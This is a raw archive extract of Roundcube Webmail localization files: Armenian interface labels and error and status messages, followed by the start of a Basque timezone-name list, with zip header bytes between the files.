$labels['quota'] = 'Դիսկային տարածք';
$labels['unknown'] = 'անհայտ';
$labels['unlimited'] = 'անսահմանափակ';
$labels['quicksearch'] = 'Արագ որոնում';
$labels['resetsearch'] = 'Վերսկսել որոնումը';
$labels['searchmod'] = 'Որոնման փոփոխիչներ';
$labels['msgtext'] = 'Ողջ հաղորդագրությունը';
$labels['body'] = 'Մարմին';
$labels['type'] = 'Ձև';
$labels['namex'] = 'Անվանում';
$labels['openinextwin'] = 'Բացել նոր պատուհանում';
$labels['emlsave'] = 'Ներբեռնել (.eml)';
$labels['editasnew'] = 'Խմբագրել որպես նոր';
$labels['send'] = 'Ուղարկել';
$labels['sendmessage'] = 'Ուղարկել';
$labels['savemessage'] = 'Հիշել որպես սևագիր';
$labels['addattachment'] = 'Կցել ֆայլ';
$labels['charset'] = 'Տառաշար';
$labels['editortype'] = 'Խմբագրի տիպը';
$labels['returnreceipt'] = 'Ստացման հավաստագիր';
$labels['dsn'] = 'Առաքման կարգավիճակի ծանուցում';
$labels['mailreplyintro'] = '$date-ին, $sender-ը գրեց.';
$labels['originalmessage'] = 'Առաջին հաղորդագրությունը';
$labels['insert'] = 'Ներդնել';
$labels['recipient'] = 'Ստացող';
$labels['editidents'] = 'Խմբագրել ինքնությունները';
$labels['spellcheck'] = 'Տառասխալներ';
$labels['checkspelling'] = 'Ստուգել ուղագրությունը';
$labels['resumeediting'] = 'Շարունակել խմբագրումը';
$labels['revertto'] = 'Վերականգնել';
$labels['responsename'] = 'Անվանում';
$labels['attach'] = 'Կցել';
$labels['attachments'] = 'Կցումներ';
$labels['upload'] = 'Բեռնել';
$labels['close'] = 'Փակել';
$labels['messageoptions'] = 'Հաղորդագրության ընտրանքներ…';
$labels['low'] = 'Ցածր';
$labels['lowest'] = 'Նվազագույն';
$labels['normal'] = 'Նորմալ';
$labels['high'] = 'Կարևոր';
$labels['highest'] = 'Կարևորագույն';
$labels['nosubject'] = '(առանց վերնագրի)';
$labels['showimages'] = 'Ցուցադրել նկարները';
$labels['alwaysshow'] = 'Միշտ ցուցադրել պատկերները $sender–ից';
$labels['isdraft'] = 'Սա հաղորդագրության սևագիր է';
$labels['andnmore'] = '$nr այլ...';
$labels['togglemoreheaders'] = 'Ցուցադրել բոլոր գլխագրերը';
$labels['togglefullheaders'] = 'Փոխել գլխագրերը';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Պարզ տեքստ';
$labels['savesentmessagein'] = 'Գրանցել ուղարկված նամակը';
$labels['dontsave'] = 'Չ՛գրանցել';
$labels['maxuploadsize'] = 'Առավելագույն թույլատրելի ֆայլի չափը $size է';
$labels['addcc'] = 'Ավելացնել Cc';
$labels['addbcc'] = 'Ավելացնել Bcc';
$labels['addreplyto'] = 'Ավելացնել Reply-To';
$labels['addfollowupto'] = 'Ավելացնել հավելում';
$labels['mdnrequest'] = 'Նամակի հեղինակը խնդրել է նամակը կարդալուն պես տեղեկացնել իրեն։ Ցանկանում էք Տեղեկացնե՞լ։';
$labels['receiptread'] = 'Նամակի ընթերցման ծանուցագիր';
$labels['yourmessage'] = 'Սա Ձեր նամակի ընթերցման ծանուցագիրն է';
$labels['receiptnote'] = 'Նշում՝ Այս ծանուցագիրը ընդամենը տեղեկացնում է, որ նամակը ցուցադրվել է հասցեատիրոջ համակարչով։ Չկա որևիցե երաշխիք, որ հասցեատերը իսկապես կարդացել է նամակը։';
$labels['name'] = 'Մականուն';
$labels['firstname'] = 'Անուն';
$labels['surname'] = 'Ազգանուն';
$labels['middlename'] = 'Միջին անուն';
$labels['nameprefix'] = 'Նախածանց';
$labels['namesuffix'] = 'Վերջածանց';
$labels['nickname'] = 'Մականուն';
$labels['jobtitle'] = 'Պաշտոն';
$labels['department'] = 'Բաժանմունք';
$labels['gender'] = 'Սեռ';
$labels['maidenname'] = 'Մինչամուսնական ազգանուն';
$labels['email'] = 'Էկ–փոստ';
$labels['phone'] = 'Հեռախոս';
$labels['address'] = 'Հասցե';
$labels['street'] = 'Փողոց';
$labels['locality'] = 'Քաղաք';
$labels['zipcode'] = 'Փոստային կոդ';
$labels['region'] = 'Մարզ';
$labels['country'] = 'Երկիր';
$labels['birthday'] = 'Ծննդյան օր';
$labels['anniversary'] = 'Տարեդարձ';
$labels['website'] = 'Կայք';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Նշումներ';
$labels['male'] = 'արական';
$labels['female'] = 'իգական';
$labels['manager'] = 'Մենեջեր';
$labels['assistant'] = 'Օգնական';
$labels['spouse'] = 'ամուսին';
$labels['allfields'] = 'Բոլոր դաշտերը';
$labels['search'] = 'Որոնում';
$labels['advsearch'] = 'Խորացված որոնում';
$labels['advanced'] = 'Խորացված';
$labels['other'] = 'Այլ';
$labels['typehome'] = 'Տուն';
$labels['typework'] = 'Աշխատանք';
$labels['typeother'] = 'Այլ';
$labels['typemobile'] = 'Բջջային';
$labels['typemain'] = 'Գլխավոր';
$labels['typehomefax'] = 'Տան ֆաքս';
$labels['typeworkfax'] = 'Աշտանանքային ֆաքս';
$labels['typecar'] = 'Մեքենա';
$labels['typepager'] = 'Փեյջեր';
$labels['typevideo'] = 'Տեսանյութ';
$labels['typeassistant'] = 'Օգնական';
$labels['typehomepage'] = 'Սկիզբ';
$labels['typeblog'] = 'Բլոգ';
$labels['typeprofile'] = 'Պրոֆայլ';
$labels['addfield'] = 'Ավելացնել դաշտ…';
$labels['editcontact'] = 'Խմբագրել հասցեն';
$labels['contacts'] = 'Կապորդներ';
$labels['contactproperties'] = 'Կապորդի հատկանիշներ';
$labels['personalinfo'] = 'Անձնական տվյալներ';
$labels['edit'] = 'Խմբագրել';
$labels['cancel'] = 'Չեղարկել';
$labels['save'] = 'Հիշել';
$labels['delete'] = 'Ջնջել';
$labels['rename'] = 'Վերանվանել';
$labels['addphoto'] = 'Ավելացնել';
$labels['replacephoto'] = 'Փոխարինել';
$labels['uploadphoto'] = 'Վերբեռնել լուսանկար';
$labels['deletecontact'] = 'Ջնջել նշած նամակները';
$labels['composeto'] = 'Գրել նամակ';
$labels['contactsfromto'] = 'Հասցեներ $from–ից $to–ը եղած $count–ից';
$labels['print'] = 'Տպել';
$labels['export'] = 'Արտահանել';
$labels['exportall'] = 'Արտահանել բոլորը';
$labels['exportsel'] = 'Արտահանել նշվածները';
$labels['exportvcards'] = 'Արտահանել հասցեները vCard չափաձևով';
$labels['grouprename'] = 'Վերանվանել խումբը';
$labels['groupdelete'] = 'Ջնջել խումբը';
$labels['groupremoveselected'] = 'Հեռացնել նշված անձանց խմբից';
$labels['previouspage'] = 'Ցուցադրել նախորդ էջը';
$labels['firstpage'] = 'Ցուցադրել առաջին էջը';
$labels['nextpage'] = 'Ցուցադրել հաջորդ էջը';
$labels['lastpage'] = 'Ցուցադրել վերջին էջը';
$labels['group'] = 'Խումբ';
$labels['groups'] = 'Խմբեր';
$labels['listgroup'] = 'Խմբի անդամների ցանկ';
$labels['personaladrbook'] = 'Անձնական հասցեներ';
$labels['searchsave'] = 'Պահպանել որոնումը';
$labels['searchdelete'] = 'Ջնջել որոնումը';
$labels['import'] = 'Ներկրել';
$labels['importcontacts'] = 'Ներկրել հասցեներ';
$labels['importtarget'] = 'Ավելացնել կապորդները';
$labels['importreplace'] = 'Փոխել ողջ հասցեագիրքը';
$labels['done'] = 'Ավարտված է';
$labels['settingsfor'] = 'Նախասիրություններ';
$labels['about'] = 'Նկարագիր';
$labels['preferences'] = 'Նախընտրանքներ';
$labels['userpreferences'] = 'Օգտվողի նախընտրանքներ';
$labels['editpreferences'] = 'Խմբագրել օգտվողի նախընտրանքները';
$labels['identities'] = 'Անձիք';
$labels['preferhtml'] = 'Գերադասել HTML';
$labels['defaultcharset'] = 'Լռելյալ տառաշար';
$labels['htmlmessage'] = 'HTML նամակ';
$labels['messagepart'] = 'մաս';
$labels['digitalsig'] = 'Թվային ստորագրություն';
$labels['dateformat'] = 'Ամսաթվի ձևաչափ';
$labels['timeformat'] = 'Ժամանակի ձևաչափ';
$labels['prettydate'] = 'Պարզ ամսաթվեր';
$labels['setdefault'] = 'Հիմնական';
$labels['autodetect'] = 'Ավտո';
$labels['language'] = 'Լեզուն';
$labels['timezone'] = 'Ժամային գոտի';
$labels['pagesize'] = 'Տողեր առ էջ';
$labels['signature'] = 'Ստորագրություն';
$labels['dstactive'] = 'Ամառային ժամանակ';
$labels['showinextwin'] = 'Բացել հաղորդագրությունը նոր պատուհանում';
$labels['composeextwin'] = 'Կազմել նոր պատուհանում';
$labels['htmleditor'] = 'Ստեղծել HTML նամակներ';
$labels['htmlonreply'] = 'միայն HTML հաղորդագրությանը պատասխանելիս';
$labels['htmlonreplyandforward'] = 'միայն HTML հաղորդագրությանը պատասխանելիս կամ վերահասցեավորելիս';
$labels['htmlsignature'] = 'HTML ստորագրություն';
$labels['previewpane'] = 'Ցուցադրել պատուհանը';
$labels['skin'] = 'Տեսքի տարբերակ';
$labels['logoutclear'] = 'Դուրս գալուց դատարկել աղբարկղը';
$labels['logoutcompact'] = 'Դուրս գալուց կարգի բերել փոստարկղը';
$labels['uisettings'] = 'Տեսք';
$labels['serversettings'] = 'Սերվերի կարգավորումներ';
$labels['mailboxview'] = 'Փոստարկղի տեսք';
$labels['mdnrequests'] = 'Տեղեկացումներ';
$labels['askuser'] = 'Հարցնել օգտվողին';
$labels['autosend'] = 'ուղարկել ավտոմատ';
$labels['autosendknown'] = 'ուղարկել ստացական իմ կապորդներին, մնացած դեպքերում` հարցնել ինձ';
$labels['autosendknownignore'] = 'ուղարկել ստացական իմ կապորդներին, մնացած դեպքերում` անտեսել';
$labels['readwhendeleted'] = 'Ջնջելուց նշել նամակը որպես կարդացած';
$labels['flagfordeletion'] = 'Ջնջելու փոխարեն նշել որպես ենթակա ջնջման';
$labels['skipdeleted'] = 'Ցույց չ՛տալ ջնջված նամակները';
$labels['deletealways'] = 'Հաղորդագրությունները աղբարկղ տեղափոխելիս ձախողման դեպքում ջնջել դրանք։';
$labels['deletejunk'] = 'Միանգամից ջնջել Թափոն հաղորդագրությունները';
$labels['showremoteimages'] = 'Ցույց տալ հեռակա պատկերները';
$labels['fromknownsenders'] = 'հայտնի հասցեատերերից';
$labels['always'] = 'միշտ';
$labels['showinlineimages'] = 'Ցուցադրել կցված պատկերները հաղորդագրության տակ';
$labels['autosavedraft'] = 'Սևագրի ավտոմատ գրանցում';
$labels['everynminutes'] = 'ամեն $n րոպեն';
$labels['refreshinterval'] = 'Թարմացնել (ստուգել նոր հաղորդագրությունները և այլն)';
$labels['never'] = 'երբեք';
$labels['immediately'] = 'անմիջապես';
$labels['messagesdisplaying'] = 'նամակները ցուցադրելիս';
$labels['messagescomposition'] = 'նամակ գրելիս';
$labels['mimeparamfolding'] = 'Կցորդների անուններ';
$labels['2231folding'] = 'Կատարյալ RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Կատարյալ RFC 2047 (այլ)';
$labels['force7bit'] = 'օգտագործել MIME գրանշում 8 բիթանոց նիշերի համար';
$labels['advancedoptions'] = 'Հավելյալ կարգավորումներ';
$labels['focusonnewmessage'] = 'Առաջ բերել պատուհանը նոր նամակ ստանալիս';
$labels['checkallfolders'] = 'Ստուգել բոլոր դարակները նոր նամակների համար';
$labels['defaultfont'] = 'HTML հաղորդագրության լռելյալ տառատեսակ';
$labels['mainoptions'] = 'Գլխավոր ընտրանքներ';
$labels['browseroptions'] = 'Զննարկչի ընտրանքներ';
$labels['section'] = 'Բաժին';
$labels['maintenance'] = 'Սպասարկում';
$labels['newmessage'] = 'Նոր հաղորդագրություն';
$labels['signatureoptions'] = 'Ստորագրության ընտրանքներ';
$labels['whenreplying'] = 'Պատասխանելիս';
$labels['replyempty'] = 'մի քաղվածեքառաջին հաղորդագրությունը';
$labels['replytopposting'] = 'սկսել նոր հաղորդագրությունը վերևից';
$labels['replybottomposting'] = 'սկսել նոր հաղորդագրությունը ներքևից';
$labels['replyremovesignature'] = 'Պատասխանելիս հեռացնել հաղորդագրությունից նախորդ ստորագրությունը';
$labels['autoaddsignature'] = 'Ավելացնել ստորագրություն';
$labels['newmessageonly'] = 'միայն նոր հաղորդագրություններում';
$labels['replyandforwardonly'] = 'պատասխաններում և փոխանցումներում';
$labels['insertsignature'] = 'Ներդնել ստորագրությունը';
$labels['afternseconds'] = '$n վարկյան հետո';
$labels['reqmdn'] = 'Միշտ պատվիրել ստացական';
$labels['reqdsn'] = 'Միշտ պատվիրել առաքման կարգավիճակի ծանուցում';
$labels['replysamefolder'] = 'Հաղորդագրության պատասխանները պահել նույն պանակում';
$labels['defaultabook'] = 'Հիմնական հասցեագիրքը';
$labels['autocompletesingle'] = 'Ավտոլրացման ժամանակ բացառել այլընտրանքային էլփոստի հասցեները';
$labels['listnamedisplay'] = 'Ցուցադրել կապորդները որպես';
$labels['spellcheckbeforesend'] = 'Ստուգել տառասխալները հաղորդագրությունը ուղարկելուց առաջ';
$labels['spellcheckoptions'] = 'Սրբագրման ընտրանքներ';
$labels['spellcheckignoresyms'] = 'Անտեսել նշաններով բառերը';
$labels['spellcheckignorenums'] = 'Անտեսել թվերով բառերը';
$labels['spellcheckignorecaps'] = 'Անտեսել լրիվ մեծատառ բառերը';
$labels['addtodict'] = 'Ավելացնել բառարանում';
$labels['mailtoprotohandler'] = 'mailto: հղումների սպասարկող';
$labels['forwardmode'] = 'Հաղորդագրությունների վերահասցեավորում';
$labels['inline'] = 'մեջը';
$labels['asattachment'] = 'որպես կցորդ';
$labels['allmessages'] = 'բոլոր հաղորդագրությունները';
$labels['folder'] = 'Դարակ';
$labels['folders'] = 'Դարակներ';
$labels['foldername'] = 'Դարակի անուն';
$labels['subscribed'] = 'Բաժանորդագրված';
$labels['messagecount'] = 'Նամակներ';
$labels['create'] = 'Ստեղծել';
$labels['createfolder'] = 'Բացել նոր դարակ';
$labels['managefolders'] = 'Կարգավորել դարակները';
$labels['specialfolders'] = 'Հատուկ դարակներ';
$labels['properties'] = 'Հատկանիշներ';
$labels['folderproperties'] = 'Պանակի հատկանիշներ';
$labels['parentfolder'] = 'Ծնող պանակ';
$labels['location'] = 'Վայր';
$labels['info'] = 'Տեղեկություն';
$labels['getfoldersize'] = 'Հպել պանակի չափը իմանալու համար';
$labels['changesubscription'] = 'Հպել բաժանորդագրությունը փոխելու համար';
$labels['foldertype'] = 'Պանակի տեսակ';
$labels['personalfolder'] = 'Անձնական պանակ';
$labels['otherfolder'] = 'Այլ օգտվողի պանակ';
$labels['sharedfolder'] = 'Հանրային պանակ';
$labels['sortby'] = 'Դասավորել';
$labels['sortasc'] = 'ըստ աճման';
$labels['sortdesc'] = 'ըստ նվազման';
$labels['undo'] = 'Ետարկել';
$labels['installedplugins'] = 'Տեղակայված հավելումները';
$labels['plugin'] = 'Խրիչ';
$labels['version'] = 'Տարբերակ';
$labels['source'] = 'Աղբյուր';
$labels['license'] = 'Արտոնագիր';
$labels['support'] = 'Ստանալ օգնություն';
$labels['B'] = 'Բ';
$labels['KB'] = 'ԿԲ';
$labels['MB'] = 'ՄԲ';
$labels['GB'] = 'ԳԲ';
$labels['unicode'] = 'Յունիկոդ';
$labels['english'] = 'Անգլերեն';
$labels['westerneuropean'] = 'Արևմտա-Եվրոպական';
$labels['easterneuropean'] = 'Արևելա-Եվրոպական';
$labels['southeasterneuropean'] = 'Հարավ-արևելաեվրոպական';
$labels['baltic'] = 'Բալթիկ';
$labels['cyrillic'] = 'Կիրիլլիկ';
$labels['arabic'] = 'Արաբական';
$labels['greek'] = 'Հունական';
$labels['hebrew'] = 'Հրեական';
$labels['turkish'] = 'Թուրքական';
$labels['nordic'] = 'Նորդիկ';
$labels['thai'] = 'Թայլանդական';
$labels['celtic'] = 'Կելտական';
$labels['vietnamese'] = 'Վիետնամական';
$labels['japanese'] = 'Ճապոնական';
$labels['korean'] = 'Կորեական';
$labels['chinese'] = 'Չինական';
$labels['arialabelforwardingoptions'] = 'Փոխանցելու ընտրանքներ';
PK
h�\\O�00'program/localization/hy_AM/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Սխա՛լ';
$messages['loginfailed']  = 'Մուտքը ձախողվեց';
$messages['cookiesdisabled'] = 'Сookies–ների ապահովվումը բացակայում է';
$messages['sessionerror'] = 'Անվավեր կամ ժամկետանց սեսիա';
$messages['storageerror'] = 'IMAP սերվերի հետ կապը ձախողվեց';
$messages['servererror'] = 'Սերվերի սխա՛լ';
$messages['servererrormsg'] = 'Սերվերի սխալ` $msg';
$messages['dberror'] = 'Տվյալների շտեմարանի սխա՛լ';
$messages['requesttimedout'] = 'Հարցման թույլատրելի ժամանակը սպառվեց';
$messages['errorreadonly'] = 'Գործողությունը անհնար է։ Պանակը միայն ընթերցման համար է։';
$messages['errornoperm'] = 'Գործողության կատարման իրավունքը մերժված է։';
$messages['invalidrequest'] = 'Սխալ հարցում, ապարդյուն։';
$messages['nomessagesfound'] = 'Այս փոստարկղում նամակներ չկան';
$messages['loading'] = 'Բեռնում...';
$messages['uploading'] = 'Ֆայլի վերբեռնում…';
$messages['uploadingmany'] = 'Վերբեռնվում են ֆայլերը…';
$messages['loadingdata'] = 'Տվյալների բեռնավորում…';
$messages['checkingmail'] = 'Նոր նամակների ստուգում…';
$messages['sendingmessage'] = 'Նամակի ուղարկում…';
$messages['messagesent'] = 'Նամակն ուղարկված է';
$messages['savingmessage'] = 'Նամակի գրանցում…';
$messages['messagesaved'] = 'Նամակը գրանցվեց որպես սևագիր';
$messages['successfullysaved'] = 'Գրանցված է';
$messages['addedsuccessfully'] = 'Հասցեն ավելացված է';
$messages['contactnameexists'] = 'Նույն անունով արդեն անձ գոյություն ունի։';
$messages['blockedimages'] = 'Ձեր անվտանգության համար, այս նամակի արտաքին նկարներն բեռնված չեն';
$messages['encryptedmessage'] = 'Ներողություն, այս նամակը կոդավորված է';
$messages['nocontactsfound'] = 'Հասցեներ չկան';
$messages['contactnotfound'] = 'Որոնվող հասցեն չգտնվեց';
$messages['sendingfailed'] = 'Նամակի ուղարկումը ձախողվեց';
$messages['senttooquickly'] = 'Խնդրում ենք սպասել $sec վարկյան մինչ այս նամակն ուղարկելը';
$messages['errormoving'] = 'Նամակի տեղափոխման ձախողում';
$messages['errorcopying'] = 'Հաղորդագրության պատճենումը ձախողվեց։';
$messages['errordeleting'] = 'Նամակի ջնջման ձախողում';
$messages['errormarking'] = 'Հաղորդագրության նշումը ձախողվեց։';
$messages['deletecontactconfirm']  = 'Ուզու՞մ էք ջնջել նշված անձերին';
$messages['deletegroupconfirm']  = 'Դուք իսկապե՞ս ուզում եք ջնջել նշված խումբը։';
$messages['deletemessagesconfirm'] = 'Ուզու՞մ էք ջնջել նշված նամակները';
$messages['deletefolderconfirm']  = 'Ուզու՞մ էք ջնջել այս դարակը';
$messages['purgefolderconfirm']  = 'Ուզու՞մ էք ջնջել այս դարակի բոլոր նամակները';
$messages['contactdeleting'] = 'Անձի ջնջում…';
$messages['groupdeleting'] = 'Խմբի ջնջում…';
$messages['folderdeleting'] = 'Դարակը ջնջվում է…';
$messages['foldermoving'] = 'Դարակը տեղափոխվում է…';
$messages['foldersubscribing'] = 'Պանակի բաժանորդագրում…';
$messages['folderunsubscribing'] = 'Պանակի ապաբաժանորդագրում…';
$messages['formincomplete'] = 'Ձևը թերի է լրացված';
$messages['noemailwarning'] = 'Մուտքագրեք ճիշտ էլ. հասցե';
$messages['nonamewarning']  = 'Մուտքագրեք անուն';
$messages['nopagesizewarning'] = 'Մուտքագրեք էջի չափս';
$messages['norecipientwarning'] = 'Մուտքագրեք նվազագույնը մեկ հասցեատեր';
$messages['nosubjectwarning']  = 'Վերնագիր բացակայում է, ցանկանո՞ւմ եք լրացնել';
$messages['nobodywarning'] = 'Ուղարկե՞լ այս նամակը դատարկ';
$messages['nosearchname'] = 'Մուտքագրեք հասցեատեր կամ էլ. հասցե';
$messages['notuploadedwarning'] = 'Ոչ բոլոր կցված նյութերն են վերբեռնվել։ Սպասեք կամ ընդհատեք վերբեռնումը։';
$messages['searchsuccessful'] = 'Գտնվեց $nr նամակ';
$messages['contactsearchsuccessful'] = 'Գտնվել է $nr անձ։';
$messages['searchnomatch'] = 'Համապատասխան նամակներ չգտնվեցին';
$messages['searching'] = 'Որոնում...';
$messages['checking'] = 'Ստուգում…';
$messages['nospellerrors'] = 'Ուղագրական սխալներ չկան';
$messages['folderdeleted'] = 'Դարակը ջնջվեց';
$messages['foldersubscribed'] = 'Պանակին բաժանորդագրումը հաջողվեց։';
$messages['folderunsubscribed'] = 'Պանակից ապաբաժանորդագրումը հաջողվեց։';
$messages['deletedsuccessfully'] = 'Ջնջված է';
$messages['converting'] = 'Նամակի ձևավորման հեռացում…';
$messages['messageopenerror'] = 'Նամակի բեռնվումը սերվերից ձախողվեց';
$messages['fileuploaderror'] = 'Ֆայլի կցումն ձախողվեց';
$messages['filesizeerror'] = 'Ֆայլի չափը գերազանցում է մաքսիմալը՝ $size';
$messages['sourceisreadonly'] = 'Այս հասցեն պաշտպանված է';
$messages['errorsavingcontact'] = 'Հասցեի գրանցումն ձախողվեց';
$messages['movingmessage'] = 'Նամակը տեղափոխվում է…';
$messages['copyingmessage'] = 'Հաղորդագրությունների պատճենում…';
$messages['copyingcontact'] = 'Անձանց պատճենում…';
$messages['deletingmessage'] = 'Հաղորդագրությունների ջնջում…';
$messages['markingmessage'] = 'Հաղորդագրությունների նշում…';
$messages['addingmember'] = 'Անձանց ավելացում խմբին…';
$messages['removingmember'] = 'Անձանց հեռացում խմբից…';
$messages['receiptsent'] = 'Նամակի ընթերցման ծանուցագիրն ուղարկված է';
$messages['errorsendingreceipt'] = 'Ծանուցագրի ուղարկումը ձախողվեց';
$messages['deleteidentityconfirm'] = 'Դուք իսկապե՞ս ուզում եք ջնջել այս ինքնությունը։';
$messages['nodeletelastidentity'] = 'Անհնար է ջնջել վերջին տարբերակը';
$messages['forbiddencharacter'] = 'Դարակի անունը պարունակում է անթույլատրելի նշան';
$messages['selectimportfile'] = 'Ընտրեք ուղարկվող ֆայլը';
$messages['addresswriterror'] = 'Ընտրված հասցեագիրքը ենթակա չէ փոփոխման';
$messages['contactaddedtogroup'] = 'Անձինք բարեհաջող ավելացվեցին խմբին։';
$messages['contactremovedfromgroup'] = 'Անձինք բարեհաջող հանվեցին խմբից։';
$messages['importwait'] = 'Ներկրումն ընթացքի մեջ է...';
$messages['importconfirm'] = '$inserted նոր ներկրված հասցեներ, $skipped արդեն առկա հասցեներ՝ <p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Բաց թողնվեց $skipped առկա գրառում</b>';
$messages['opnotpermitted'] = 'Գործողությունը անթույլատրելի է։';
$messages['httpreceivedencrypterror'] = 'Համակարգի լարքի սխալ։ Դիմեք համակարգը սպասարկող անձնակազմին։ <b>Ձեր նամակը ուղարկված չէ։</b>';
$messages['smtpconnerror'] = 'SMTP սխալ ($code)` Սերվերի հետ կապը ձախողվեց։';
$messages['smtpautherror'] = 'SMTP սխալ ($code)` Նույնականացումը ձախողվեց։';
$messages['smtpfromerror'] = 'SMTP սխալ ($code)` Որպես "$from" ($msg) հաղորդագրությունը ուղարկելը ձախողվեց։';
$messages['smtptoerror'] = 'SMTP սխալ ($code)` Հաղորդագրության ստացող "$to"-ին ($msg) ավելացնելը ձախողվեց։';
$messages['smtprecipientserror'] = 'SMTP սխալ` ստացողների ցուցակի ընթերցման ձախողում։';
$messages['smtperror'] = 'SMTP սխալ` $msg';
$messages['toomanyrecipients'] = 'Ստացողների քանակը չափազանց մեծ է։ Նվազեցրեք մինչև $max-ը։';
$messages['maxgroupmembersreached'] = 'Խմբի անդամների քանաքը գերազանցում է թույլատրելի $max-ը։';
$messages['contactdelerror'] = 'Անձանց ջնջումը ձախողվեց։';
$messages['contactdeleted'] = 'Անձանց ջնջումը հաջողվեց։';
$messages['contactrestoreerror'] = 'Ջնջված անձանց վերականգնումը ձախողվեց։';
$messages['contactrestored'] = 'Ջնջված անձանց վերականգնումը հաջողվեց։';
$messages['groupdeleted'] = 'Խումբը ջնջվեց։';
$messages['grouprenamed'] = 'Խումբը վերանվանվեց։';
$messages['groupcreated'] = 'Խումբը ստեղծվեց։';
$messages['savedsearchdeleted'] = 'Պահպանված որոնումը ջնջվեց։';
$messages['savedsearchdeleteerror'] = 'Պահպանված որոնման ջնջումը ձախողվեց։';
$messages['savedsearchcreated'] = 'Որոնումը պահպանվեց։';
$messages['savedsearchcreateerror'] = 'Պահպանված որոնման ստեղծումը ձախողվեց։';
$messages['messagedeleted'] = 'Հաղորդագրությունները ջնջվեցին։';
$messages['messagemoved'] = 'Հաղորդագրությունները տեղափոխվեցին։';
$messages['messagecopied'] = 'Հաղորդագրությունները պատճենվեցին։';
$messages['messagemarked'] = 'Հաղորդագրությունները նշվեցին։';
$messages['autocompletechars'] = 'Ավտոլրացման համար ներմուծեք առնվազն $min նիշ։';
$messages['autocompletemore'] = 'Գտնված են համապատասխանող գրառումներ, ներմուծեք հավելյալ նիշեր։';
$messages['namecannotbeempty'] = 'Անունը դատարկ չի կարող լինել։';
$messages['nametoolong'] = 'Անունը չափազանց երկար է։';
$messages['folderupdated'] = 'Պանակը թարմացվեց։';
$messages['foldercreated'] = 'Պանակը ստեղծվեց։';
$messages['invalidimageformat'] = 'Պատկերի սխալ ձևաչափ։';
$messages['mispellingsfound'] = 'Հաղորդագրության մեջ կան տառասխալներ։';
$messages['parentnotwritable'] = 'Նշված պանակի մեջ պանակի ստեղծումը կամ տեղափոխումը անհնար է անբավարար իրավունքների պատճառով։';
$messages['messagetoobig'] = 'Հաղորդագրության մասը չափազանց մեծ է սպասարկման համար։';
PK
h�\����vNvN(program/localization/eu_ES/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Abeba';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburgo';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Muqdisho';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'N\'Djamena';
$labels['tz:africa:niamey'] = 'Niamei';
$labels['tz:africa:nouakchott'] = 'Nuakxot';
$labels['tz:africa:ouagadougou'] = 'Uagadugu';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Aingira';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaína';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
